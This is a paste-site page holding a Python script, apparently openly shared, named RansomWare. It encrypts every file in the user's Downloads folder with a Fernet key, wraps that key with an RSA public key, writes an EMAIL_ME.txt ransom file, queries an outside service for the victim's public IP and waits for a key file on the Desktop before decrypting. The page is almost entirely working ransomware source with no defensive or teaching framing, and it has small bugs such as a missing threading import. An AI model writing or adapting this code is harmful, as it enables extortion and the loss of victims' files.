Untitled

mail@pastecode.io avatar
unknown
plain_text
a month ago
3.1 kB
6
Indexable
Never
from cryptography.fernet import Fernet
import os
import ctypes
import urllib.request
import requests
import time
import datetime
import subprocess
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEP

class RansomWare:
    file_exts = ['*']

    def __init__(self):
        self.key = None
        self.crypter = None
        self.public_key = None
        self.publicIP = requests.get('https://api.ipify.org').text
        self.downloads_path = os.path.join(os.path.expanduser('~'), 'Downloads')

    def generate_key(self):
        self.key = Fernet.generate_key()
        self.crypter = Fernet(self.key)

    def write_key(self):
        with open('fernet_key.txt', 'wb') as f:
            f.write(self.key)

    def encrypt_fernet_key(self):
        with open('fernet_key.txt', 'rb') as fk:
            fernet_key = fk.read()
        with open('fernet_key.txt', 'wb') as f:
            self.public_key = RSA.import_key(open('public.pem').read())
            public_crypter = PKCS1_OAEP.new(self.public_key)
            enc_fernent_key = public_crypter.encrypt(fernet_key)
            f.write(enc_fernent_key)
        with open(os.path.join(self.downloads_path, 'EMAIL_ME.txt'), 'wb') as fa:
            fa.write(enc_fernent_key)
        self.key = enc_fernent_key
        self.crypter = None

    def crypt_file(self, file_path, encrypted=False):
        with open(file_path, 'rb') as f:
            data = f.read()
            if not encrypted:
                _data = self.crypter.encrypt(data)
            else:
                _data = self.crypter.decrypt(data)
        with open(file_path, 'wb') as fp:
            fp.write(_data)

    def crypt_system(self, encrypted=False):
        for root, dirs, files in os.walk(self.downloads_path):
            for file in files:
                file_path = os.path.join(root, file)
                if not encrypted:
                    self.crypt_file(file_path)
                else:
                    self.crypt_file(file_path, encrypted=True)

    def put_me_on_desktop(self):
        print('started')
        while True:
            try:
                print('trying')
                with open(os.path.join(os.path.expanduser("~"), 'Desktop', 'PUT_ME_ON_DESKTOP.txt'), 'r') as f:
                    self.key = f.read()
                    self.crypter = Fernet(self.key)
                    self.crypt_system(encrypted=True)
                    print('decrypted')
                    break
            except Exception as e:
                print(e)
                pass
            time.sleep(10)
            print('Checking for PUT_ME_ON_DESKTOP.txt')

def main():
    rw = RansomWare()
    rw.generate_key()
    rw.crypt_system()
    rw.write_key()
    rw.encrypt_fernet_key()

    t2 = threading.Thread(target=rw.put_me_on_desktop)

    t2.start()
    print('> RansomWare: Target machine has been un-encrypted')
    print('> RansomWare: Completed')

if __name__ == '__main__':
    main()
Leave a Comment